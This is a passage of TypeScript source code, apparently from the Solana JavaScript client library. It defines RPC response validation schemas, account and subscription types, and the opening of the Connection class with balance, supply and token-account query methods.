}),\n]);\n\nconst ParsedOrRawInstruction = coerce(\n InstructionResult,\n UnknownInstructionResult,\n value => {\n if ('accounts' in value) {\n return create(value, RawInstructionResult);\n } else {\n return create(value, ParsedInstructionResult);\n }\n },\n);\n\n/**\n * @internal\n */\nconst ParsedConfirmedTransactionResult = pick({\n signatures: array(string()),\n message: pick({\n accountKeys: array(AnnotatedAccountKey),\n instructions: array(ParsedOrRawInstruction),\n recentBlockhash: string(),\n addressTableLookups: optional(nullable(array(AddressTableLookupStruct))),\n }),\n});\n\nconst TokenBalanceResult = pick({\n accountIndex: number(),\n mint: string(),\n owner: optional(string()),\n programId: optional(string()),\n uiTokenAmount: TokenAmountResult,\n});\n\nconst LoadedAddressesResult = pick({\n writable: array(PublicKeyFromString),\n readonly: array(PublicKeyFromString),\n});\n\n/**\n * @internal\n */\nconst ConfirmedTransactionMetaResult = pick({\n err: TransactionErrorResult,\n fee: number(),\n innerInstructions: optional(\n nullable(\n array(\n pick({\n index: number(),\n instructions: array(\n pick({\n accounts: array(number()),\n data: string(),\n programIdIndex: number(),\n }),\n ),\n }),\n ),\n ),\n ),\n preBalances: array(number()),\n postBalances: array(number()),\n logMessages: optional(nullable(array(string()))),\n preTokenBalances: optional(nullable(array(TokenBalanceResult))),\n postTokenBalances: optional(nullable(array(TokenBalanceResult))),\n loadedAddresses: optional(LoadedAddressesResult),\n computeUnitsConsumed: optional(number()),\n});\n\n/**\n * @internal\n */\nconst ParsedConfirmedTransactionMetaResult = pick({\n err: TransactionErrorResult,\n fee: number(),\n innerInstructions: optional(\n nullable(\n array(\n pick({\n index: number(),\n instructions: array(ParsedOrRawInstruction),\n }),\n ),\n ),\n ),\n preBalances: array(number()),\n postBalances: array(number()),\n logMessages: optional(nullable(array(string()))),\n preTokenBalances: optional(nullable(array(TokenBalanceResult))),\n postTokenBalances: optional(nullable(array(TokenBalanceResult))),\n loadedAddresses: optional(LoadedAddressesResult),\n computeUnitsConsumed: optional(number()),\n});\n\nconst TransactionVersionStruct = union([literal(0), literal('legacy')]);\n\n/** @internal */\nconst RewardsResult = pick({\n pubkey: string(),\n lamports: number(),\n postBalance: nullable(number()),\n rewardType: nullable(string()),\n commission: optional(nullable(number())),\n});\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message\n */\nconst GetBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionResult,\n meta: nullable(ConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message when `transactionDetails` is `none`\n */\nconst GetNoneModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message when `transactionDetails` is `accounts`\n */\nconst GetAccountsModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionAccountsModeResult,\n meta: nullable(ConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getBlock\" message\n */\nconst GetParsedBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ParsedConfirmedTransactionResult,\n meta: nullable(ParsedConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getBlock\" message when `transactionDetails` is `accounts`\n */\nconst GetParsedAccountsModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionAccountsModeResult,\n meta: nullable(ParsedConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getBlock\" message when `transactionDetails` is `none`\n */\nconst GetParsedNoneModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getConfirmedBlock\" message\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link GetBlockRpcResult} instead.\n */\nconst GetConfirmedBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionResult,\n meta: nullable(ConfirmedTransactionMetaResult),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message\n */\nconst GetBlockSignaturesRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n signatures: array(string()),\n blockTime: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getTransaction\" message\n */\nconst GetTransactionRpcResult = jsonRpcResult(\n nullable(\n pick({\n slot: number(),\n meta: nullable(ConfirmedTransactionMetaResult),\n blockTime: optional(nullable(number())),\n transaction: ConfirmedTransactionResult,\n version: optional(TransactionVersionStruct),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getTransaction\" message\n */\nconst GetParsedTransactionRpcResult = jsonRpcResult(\n nullable(\n pick({\n slot: number(),\n transaction: ParsedConfirmedTransactionResult,\n meta: nullable(ParsedConfirmedTransactionMetaResult),\n blockTime: optional(nullable(number())),\n version: optional(TransactionVersionStruct),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getRecentBlockhash\" message\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link GetLatestBlockhashRpcResult} instead.\n */\nconst GetRecentBlockhashAndContextRpcResult = jsonRpcResultAndContext(\n pick({\n blockhash: string(),\n feeCalculator: pick({\n lamportsPerSignature: number(),\n }),\n }),\n);\n\n/**\n * Expected JSON RPC response for the \"getLatestBlockhash\" message\n */\nconst GetLatestBlockhashRpcResult = jsonRpcResultAndContext(\n pick({\n blockhash: string(),\n lastValidBlockHeight: number(),\n }),\n);\n\n/**\n * Expected JSON RPC response for the \"isBlockhashValid\" message\n */\nconst IsBlockhashValidRpcResult = jsonRpcResultAndContext(boolean());\n\nconst PerfSampleResult = pick({\n slot: number(),\n numTransactions: number(),\n numSlots: number(),\n samplePeriodSecs: number(),\n});\n\n/*\n * Expected JSON RPC response for \"getRecentPerformanceSamples\" message\n */\nconst GetRecentPerformanceSamplesRpcResult = jsonRpcResult(\n array(PerfSampleResult),\n);\n\n/**\n * Expected JSON RPC response for the \"getFeeCalculatorForBlockhash\" message\n */\nconst GetFeeCalculatorRpcResult = jsonRpcResultAndContext(\n nullable(\n pick({\n feeCalculator: pick({\n lamportsPerSignature: number(),\n }),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"requestAirdrop\" message\n */\nconst RequestAirdropRpcResult = jsonRpcResult(string());\n\n/**\n * Expected JSON RPC response for the \"sendTransaction\" message\n */\nconst SendTransactionRpcResult = jsonRpcResult(string());\n\n/**\n * Information about the latest slot being processed by a node\n */\nexport type SlotInfo = {\n /** Currently processing slot */\n slot: number;\n /** Parent of the current slot */\n parent: number;\n /** The root block of the current slot's fork */\n root: number;\n};\n\n/**\n * Parsed account data\n */\nexport type ParsedAccountData = {\n /** Name of the program that owns this account */\n program: string;\n /** Parsed account data */\n parsed: any;\n /** Space used by account data */\n space: number;\n};\n\n/**\n * Stake Activation data\n */\nexport type StakeActivationData = {\n /** the stake account's activation state */\n state: 'active' | 'inactive' | 'activating' | 'deactivating';\n /** stake active during the epoch */\n active: number;\n /** stake inactive during the epoch */\n inactive: number;\n};\n\n/**\n * Data slice argument for getProgramAccounts\n */\nexport type DataSlice = {\n /** offset of data slice */\n offset: number;\n /** length of data slice */\n length: number;\n};\n\n/**\n * Memory comparison filter for getProgramAccounts\n */\nexport type MemcmpFilter = {\n memcmp: {\n /** offset into program account data to start comparison */\n offset: number;\n } & (\n | {\n encoding?: 'base58'; // Base-58 is the default when not supplied.\n /** data to match, as base-58 encoded string and limited to less than 129 bytes */\n bytes: string;\n }\n | {\n encoding: 'base64';\n /** data to match, as base-64 encoded string */\n bytes: string;\n }\n );\n};\n\n/**\n * Data size comparison filter for getProgramAccounts\n */\nexport type DataSizeFilter = {\n /** Size of data for program account data length comparison */\n dataSize: number;\n};\n\n/**\n * A filter object for getProgramAccounts\n */\nexport type GetProgramAccountsFilter = MemcmpFilter | DataSizeFilter;\n\n/**\n * Configuration object for getProgramAccounts requests\n */\nexport type GetProgramAccountsConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Optional encoding for account data (default base64)\n * To use \"jsonParsed\" encoding, please refer to `getParsedProgramAccounts` in connection.ts\n * */\n encoding?: 'base64';\n /** Optional data slice to limit the returned account data */\n dataSlice?: DataSlice;\n /** Optional array of filters to apply to accounts */\n filters?: GetProgramAccountsFilter[];\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n /** wrap the result in an RpcResponse JSON object */\n withContext?: boolean;\n};\n\nexport type GetProgramAccountsResponse = readonly Readonly<{\n account: AccountInfo<Buffer>;\n /** the account Pubkey as base-58 encoded string */\n pubkey: PublicKey;\n}>[];\n\n/**\n * Configuration object for getParsedProgramAccounts\n */\nexport type GetParsedProgramAccountsConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Optional array of filters to apply to accounts */\n filters?: GetProgramAccountsFilter[];\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for getMultipleAccounts\n */\nexport type GetMultipleAccountsConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n /** Optional data slice to limit the returned account data */\n dataSlice?: DataSlice;\n};\n\n/**\n * Configuration object for `getStakeActivation`\n */\nexport type GetStakeActivationConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Epoch for which to calculate activation details. If parameter not provided, defaults to current epoch */\n epoch?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getStakeActivation`\n */\nexport type GetTokenAccountsByOwnerConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getStakeActivation`\n */\nexport type GetTransactionCountConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getNonce`\n */\nexport type GetNonceConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getNonceAndContext`\n */\nexport type GetNonceAndContextConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\nexport type AccountSubscriptionConfig = Readonly<{\n /** Optional commitment level */\n commitment?: Commitment;\n /**\n * Encoding format for Account data\n * - `base58` is slow.\n * - `jsonParsed` encoding attempts to use program-specific state parsers to return more\n * human-readable and explicit account state data\n * - If `jsonParsed` is requested but a parser cannot be found, the field falls back to `base64`\n * encoding, detectable when the `data` field is type `string`.\n */\n encoding?: 'base58' | 'base64' | 'base64+zstd' | 'jsonParsed';\n}>;\n\nexport type ProgramAccountSubscriptionConfig = Readonly<{\n /** Optional commitment level */\n commitment?: Commitment;\n /**\n * Encoding format for Account data\n * - `base58` is slow.\n * - `jsonParsed` encoding attempts to use program-specific state parsers to return more\n * human-readable and explicit account state data\n * - If `jsonParsed` is requested but a parser cannot be found, the field falls back to `base64`\n * encoding, detectable when the `data` field is type `string`.\n */\n encoding?: 'base58' | 'base64' | 'base64+zstd' | 'jsonParsed';\n /**\n * Filter results using various filter objects\n * The resultant account must meet ALL filter criteria to be included in the returned results\n */\n filters?: GetProgramAccountsFilter[];\n}>;\n\n/**\n * Information describing an account\n */\nexport type AccountInfo<T> = {\n /** `true` if this account's data contains a loaded program */\n executable: boolean;\n /** Identifier of the program that owns the account */\n owner: PublicKey;\n /** Number of lamports assigned to the account */\n lamports: number;\n /** Optional data assigned to the account */\n data: T;\n /** Optional rent epoch info for account */\n rentEpoch?: number;\n};\n\n/**\n * Account information identified by pubkey\n */\nexport type KeyedAccountInfo = {\n accountId: PublicKey;\n accountInfo: AccountInfo<Buffer>;\n};\n\n/**\n * Callback function for account change notifications\n */\nexport type AccountChangeCallback = (\n accountInfo: AccountInfo<Buffer>,\n context: Context,\n) => void;\n\n/**\n * Callback function for program account change notifications\n */\nexport type ProgramAccountChangeCallback = (\n keyedAccountInfo: KeyedAccountInfo,\n context: Context,\n) => void;\n\n/**\n * Callback function for slot change notifications\n */\nexport type SlotChangeCallback = (slotInfo: SlotInfo) => void;\n\n/**\n * Callback function for slot update notifications\n */\nexport type SlotUpdateCallback = (slotUpdate: SlotUpdate) => void;\n\n/**\n * Callback function for signature status notifications\n */\nexport type SignatureResultCallback = (\n signatureResult: SignatureResult,\n context: Context,\n) => void;\n\n/**\n * Signature status notification with transaction result\n */\nexport type SignatureStatusNotification = {\n type: 'status';\n result: SignatureResult;\n};\n\n/**\n * Signature received notification\n */\nexport type SignatureReceivedNotification = {\n type: 'received';\n};\n\n/**\n * Callback function for signature notifications\n */\nexport type SignatureSubscriptionCallback = (\n notification: SignatureStatusNotification | SignatureReceivedNotification,\n context: Context,\n) => void;\n\n/**\n * Signature subscription options\n */\nexport type SignatureSubscriptionOptions = {\n commitment?: Commitment;\n enableReceivedNotification?: boolean;\n};\n\n/**\n * Callback function for root change notifications\n */\nexport type RootChangeCallback = (root: number) => void;\n\n/**\n * @internal\n */\nconst LogsResult = pick({\n err: TransactionErrorResult,\n logs: array(string()),\n signature: string(),\n});\n\n/**\n * Logs result.\n */\nexport type Logs = {\n err: TransactionError | null;\n logs: string[];\n signature: string;\n};\n\n/**\n * Expected JSON RPC response for the \"logsNotification\" message.\n */\nconst LogsNotificationResult = pick({\n result: notificationResultAndContext(LogsResult),\n subscription: number(),\n});\n\n/**\n * Filter for log subscriptions.\n */\nexport type LogsFilter = PublicKey | 'all' | 'allWithVotes';\n\n/**\n * Callback function for log notifications.\n */\nexport type LogsCallback = (logs: Logs, ctx: Context) => void;\n\n/**\n * Signature result\n */\nexport type SignatureResult = {\n err: TransactionError | null;\n};\n\n/**\n * Transaction error\n */\nexport type TransactionError = {} | string;\n\n/**\n * Transaction confirmation status\n * <pre>\n * 'processed': Transaction landed in a block which has reached 1 confirmation by the connected node\n * 'confirmed': Transaction landed in a block which has reached 1 confirmation by the cluster\n * 'finalized': Transaction landed in a block which has been finalized by the cluster\n * </pre>\n */\nexport type TransactionConfirmationStatus =\n | 'processed'\n | 'confirmed'\n | 'finalized';\n\n/**\n * Signature status\n */\nexport type SignatureStatus = {\n /** when the transaction was processed */\n slot: number;\n /** the number of blocks that have been confirmed and voted on in the fork containing `slot` */\n confirmations: number | null;\n /** transaction error, if any */\n err: TransactionError | null;\n /** cluster confirmation status, if data available. Possible responses: `processed`, `confirmed`, `finalized` */\n confirmationStatus?: TransactionConfirmationStatus;\n};\n\n/**\n * A confirmed signature with its status\n */\nexport type ConfirmedSignatureInfo = {\n /** the transaction signature */\n signature: string;\n /** when the transaction was processed */\n slot: number;\n /** error, if any */\n err: TransactionError | null;\n /** memo associated with the transaction, if any */\n memo: string | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n /** Cluster confirmation status, if available. Possible values: `processed`, `confirmed`, `finalized` */\n confirmationStatus?: TransactionConfirmationStatus;\n};\n\n/**\n * An object defining headers to be passed to the RPC server\n */\nexport type HttpHeaders = {\n [header: string]: string;\n} & {\n // Prohibited headers; for internal use only.\n 'solana-client'?: never;\n};\n\n/**\n * The type of the JavaScript `fetch()` API\n */\nexport type FetchFn = typeof fetchImpl;\n\n/**\n * A callback used to augment the outgoing HTTP request\n */\nexport type FetchMiddleware = (\n info: Parameters<FetchFn>[0],\n init: Parameters<FetchFn>[1],\n fetch: (...a: Parameters<FetchFn>) => void,\n) => void;\n\n/**\n * Configuration for instantiating a Connection\n */\nexport type ConnectionConfig = {\n /**\n * An `http.Agent` that will be used to manage socket connections (eg. to implement connection\n * persistence). Set this to `false` to create a connection that uses no agent. This applies to\n * Node environments only.\n */\n httpAgent?: NodeHttpAgent | NodeHttpsAgent | false;\n /** Optional commitment level */\n commitment?: Commitment;\n /** Optional endpoint URL to the fullnode JSON RPC PubSub WebSocket Endpoint */\n wsEndpoint?: string;\n /** Optional HTTP headers object */\n httpHeaders?: HttpHeaders;\n /** Optional custom fetch function */\n fetch?: FetchFn;\n /** Optional fetch middleware callback */\n fetchMiddleware?: FetchMiddleware;\n /** Optional Disable retrying calls when server responds with HTTP 429 (Too Many Requests) */\n disableRetryOnRateLimit?: boolean;\n /** time to allow for the server to initially process a transaction (in milliseconds) */\n confirmTransactionInitialTimeout?: number;\n};\n\n/** @internal */\nconst COMMON_HTTP_HEADERS = {\n 'solana-client': `js/${process.env.npm_package_version ?? 'UNKNOWN'}`,\n};\n\n/**\n * A connection to a fullnode JSON RPC endpoint\n */\nexport class Connection {\n /** @internal */ _commitment?: Commitment;\n /** @internal */ _confirmTransactionInitialTimeout?: number;\n /** @internal */ _rpcEndpoint: string;\n /** @internal */ _rpcWsEndpoint: string;\n /** @internal */ _rpcClient: RpcClient;\n /** @internal */ _rpcRequest: RpcRequest;\n /** @internal */ _rpcBatchRequest: RpcBatchRequest;\n /** @internal */ _rpcWebSocket: RpcWebSocketClient;\n /** @internal */ _rpcWebSocketConnected: boolean = false;\n /** @internal */ _rpcWebSocketHeartbeat: ReturnType<\n typeof setInterval\n > | null = null;\n /** @internal */ _rpcWebSocketIdleTimeout: ReturnType<\n typeof setTimeout\n > | null = null;\n /** @internal\n * A number that we increment every time an active connection closes.\n * Used to determine whether the same socket connection that was open\n * when an async operation started is the same one that's active when\n * its continuation fires.\n *\n */ private _rpcWebSocketGeneration: number = 0;\n\n /** @internal */ _disableBlockhashCaching: boolean = false;\n /** @internal */ _pollingBlockhash: boolean = false;\n /** @internal */ _blockhashInfo: {\n latestBlockhash: BlockhashWithExpiryBlockHeight | null;\n lastFetch: number;\n simulatedSignatures: Array<string>;\n transactionSignatures: Array<string>;\n } = {\n latestBlockhash: null,\n lastFetch: 0,\n transactionSignatures: [],\n simulatedSignatures: [],\n };\n\n /** @internal */ private _nextClientSubscriptionId: ClientSubscriptionId = 0;\n /** @internal */ private _subscriptionDisposeFunctionsByClientSubscriptionId: {\n [clientSubscriptionId: ClientSubscriptionId]:\n | SubscriptionDisposeFn\n | undefined;\n } = {};\n /** @internal */ private _subscriptionHashByClientSubscriptionId: {\n [clientSubscriptionId: ClientSubscriptionId]:\n | SubscriptionConfigHash\n | undefined;\n } = {};\n /** @internal */ private _subscriptionStateChangeCallbacksByHash: {\n [hash: SubscriptionConfigHash]:\n | Set<SubscriptionStateChangeCallback>\n | undefined;\n } = {};\n /** @internal */ private _subscriptionCallbacksByServerSubscriptionId: {\n [serverSubscriptionId: ServerSubscriptionId]:\n | Set<SubscriptionConfig['callback']>\n | undefined;\n } = {};\n /** @internal */ private _subscriptionsByHash: {\n [hash: SubscriptionConfigHash]: Subscription | undefined;\n } = {};\n /**\n * Special case.\n * After a signature is processed, RPCs automatically dispose of the\n * subscription on the server side. We need to track which of these\n * subscriptions have been disposed in such a way, so that we know\n * whether the client is dealing with a not-yet-processed signature\n * (in which case we must tear down the server subscription) or an\n * already-processed signature (in which case the client can simply\n * clear out the subscription locally without telling the server).\n *\n * NOTE: There is a proposal to eliminate this special case, here:\n * https://github.com/solana-labs/solana/issues/18892\n */\n /** @internal */ private _subscriptionsAutoDisposedByRpc: Set<ServerSubscriptionId> =\n new Set();\n\n /**\n * Establish a JSON RPC connection\n *\n * @param endpoint URL to the fullnode JSON RPC endpoint\n * @param commitmentOrConfig optional default commitment level or optional ConnectionConfig configuration object\n */\n constructor(\n endpoint: string,\n commitmentOrConfig?: Commitment | ConnectionConfig,\n ) {\n let wsEndpoint;\n let httpHeaders;\n let fetch;\n let fetchMiddleware;\n let disableRetryOnRateLimit;\n let httpAgent;\n if (commitmentOrConfig && typeof commitmentOrConfig === 'string') {\n this._commitment = commitmentOrConfig;\n } else if (commitmentOrConfig) {\n this._commitment = commitmentOrConfig.commitment;\n this._confirmTransactionInitialTimeout =\n commitmentOrConfig.confirmTransactionInitialTimeout;\n wsEndpoint = commitmentOrConfig.wsEndpoint;\n httpHeaders = commitmentOrConfig.httpHeaders;\n fetch = commitmentOrConfig.fetch;\n fetchMiddleware = commitmentOrConfig.fetchMiddleware;\n disableRetryOnRateLimit = commitmentOrConfig.disableRetryOnRateLimit;\n httpAgent = commitmentOrConfig.httpAgent;\n }\n\n this._rpcEndpoint = assertEndpointUrl(endpoint);\n this._rpcWsEndpoint = wsEndpoint || makeWebsocketUrl(endpoint);\n\n this._rpcClient = createRpcClient(\n endpoint,\n httpHeaders,\n fetch,\n fetchMiddleware,\n disableRetryOnRateLimit,\n httpAgent,\n );\n this._rpcRequest = createRpcRequest(this._rpcClient);\n this._rpcBatchRequest = createRpcBatchRequest(this._rpcClient);\n\n this._rpcWebSocket = new RpcWebSocketClient(this._rpcWsEndpoint, {\n autoconnect: false,\n max_reconnects: Infinity,\n });\n this._rpcWebSocket.on('open', this._wsOnOpen.bind(this));\n this._rpcWebSocket.on('error', this._wsOnError.bind(this));\n this._rpcWebSocket.on('close', this._wsOnClose.bind(this));\n this._rpcWebSocket.on(\n 'accountNotification',\n this._wsOnAccountNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'programNotification',\n this._wsOnProgramAccountNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'slotNotification',\n this._wsOnSlotNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'slotsUpdatesNotification',\n this._wsOnSlotUpdatesNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'signatureNotification',\n this._wsOnSignatureNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'rootNotification',\n this._wsOnRootNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'logsNotification',\n this._wsOnLogsNotification.bind(this),\n );\n }\n\n /**\n * The default commitment used for requests\n */\n get commitment(): Commitment | undefined {\n return this._commitment;\n }\n\n /**\n * The RPC endpoint\n */\n get rpcEndpoint(): string {\n return this._rpcEndpoint;\n }\n\n /**\n * Fetch the balance for the specified public key, return with context\n */\n async getBalanceAndContext(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetBalanceConfig,\n ): Promise<RpcResponseAndContext<number>> {\n /** @internal */\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getBalance', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get balance for ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the balance for the specified public key\n */\n async getBalance(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetBalanceConfig,\n ): Promise<number> {\n return await this.getBalanceAndContext(publicKey, commitmentOrConfig)\n .then(x => x.value)\n .catch(e => {\n throw new Error(\n 'failed to get balance of account ' + publicKey.toBase58() + ': ' + e,\n );\n });\n }\n\n /**\n * Fetch the estimated production time of a block\n */\n async getBlockTime(slot: number): Promise<number | null> {\n const unsafeRes = await this._rpcRequest('getBlockTime', [slot]);\n const res = create(unsafeRes, jsonRpcResult(nullable(number())));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get block time for slot ${slot}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the lowest slot that the node has information about in its ledger.\n * This value may increase over time if the node is configured to purge older ledger data\n */\n async getMinimumLedgerSlot(): Promise<number> {\n const unsafeRes = await this._rpcRequest('minimumLedgerSlot', []);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get minimum ledger slot',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the slot of the lowest confirmed block that has not been purged from the ledger\n */\n async getFirstAvailableBlock(): Promise<number> {\n const unsafeRes = await this._rpcRequest('getFirstAvailableBlock', []);\n const res = create(unsafeRes, SlotRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get first available block',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch information about the current supply\n */\n async getSupply(\n config?: GetSupplyConfig | Commitment,\n ): Promise<RpcResponseAndContext<Supply>> {\n let configArg: GetSupplyConfig = {};\n if (typeof config === 'string') {\n configArg = {commitment: config};\n } else if (config) {\n configArg = {\n ...config,\n commitment: (config && config.commitment) || this.commitment,\n };\n } else {\n configArg = {\n commitment: this.commitment,\n };\n }\n\n const unsafeRes = await this._rpcRequest('getSupply', [configArg]);\n const res = create(unsafeRes, GetSupplyRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get supply');\n }\n return res.result;\n }\n\n /**\n * Fetch the current supply of a token mint\n */\n async getTokenSupply(\n tokenMintAddress: PublicKey,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<TokenAmount>> {\n const args = this._buildArgs([tokenMintAddress.toBase58()], commitment);\n const unsafeRes = await this._rpcRequest('getTokenSupply', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(TokenAmountResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get token supply');\n }\n return res.result;\n }\n\n /**\n * Fetch the current balance of a token account\n */\n async getTokenAccountBalance(\n tokenAddress: PublicKey,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<TokenAmount>> {\n const args = this._buildArgs([tokenAddress.toBase58()], commitment);\n const unsafeRes = await this._rpcRequest('getTokenAccountBalance', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(TokenAmountResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get token account balance',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the token accounts owned by the specified account\n *\n * @return {Promise<RpcResponseAndContext<GetProgramAccountsResponse>}\n */\n async getTokenAccountsByOwner(\n ownerAddress: PublicKey,\n filter: TokenAccountsFilter,\n commitmentOrConfig?: Commitment | GetTokenAccountsByOwnerConfig,\n ): Promise<RpcResponseAndContext<GetProgramAccountsResponse>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n let _args: any[] = [ownerAddress.toBase58()];\n if ('mint' in filter) {\n _args.push({mint: filter.mint.toBase58()});\n } else {\n _args.push({programId: filter.programId.toBase58()});\n }\n\n const args = this._buildArgs(_args, commitment, 'base64', config);\n const unsafeRes = await this._rpcRequest('getTokenAccountsByOwner', args);\n const res = create(unsafeRes, GetTokenAccountsByOwner);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get token accounts owned by account ${ownerAddress.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch parsed token accounts owned by the specified account\n *\n * @return {Promise<RpcResponseAndContext<Array<{pubkey: PublicKey, account: AccountInfo<ParsedAccountData>}>>>}\n */\n async getParsedTokenAccountsByOwner(\n ownerAddress: PublicKey,\n filter: TokenAccountsFilter,\n commitment?: Commitment,\n ): Promise<\n RpcResponseAndContext<\n Array<{pubkey: PublicKey; account: AccountInfo<ParsedAccountData>}>\n >\n > {\n let _args: any[] = [ownerAddress.toBase58()];\n if ('mint' in filter) {\n _args.push({mint: filter.mint.toBase58()});\n } else {\n _args.push({programId: filter.programId.toBase58()});\n }\n\n const args = this._buildArgs(_args, commitment, 'jsonParsed');\n const unsafeRes = await this._rpcRequest('getTokenAccountsByOwner', args);\n const res = create(unsafeRes, GetParsedTokenAccountsByOwner);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get token accounts owned by account ${ownerAddress.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the 20 largest accounts with their current balances\n */\n async getLargestAccounts(\n config?: GetLargestAccountsConfig,\n ): Promise<RpcResponseAndContext<Array<AccountBalancePair>>> {\n const arg = {\n ...config,\n commitment: (config && config.commitment) || this.commitment,\n };\n const args = arg.filter || arg.commitment ? [arg] : [];\n const unsafeRes = await this._rpcRequest('getLargestAccounts', args);\n const res = create(unsafeRes, GetLargestAccountsRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get largest 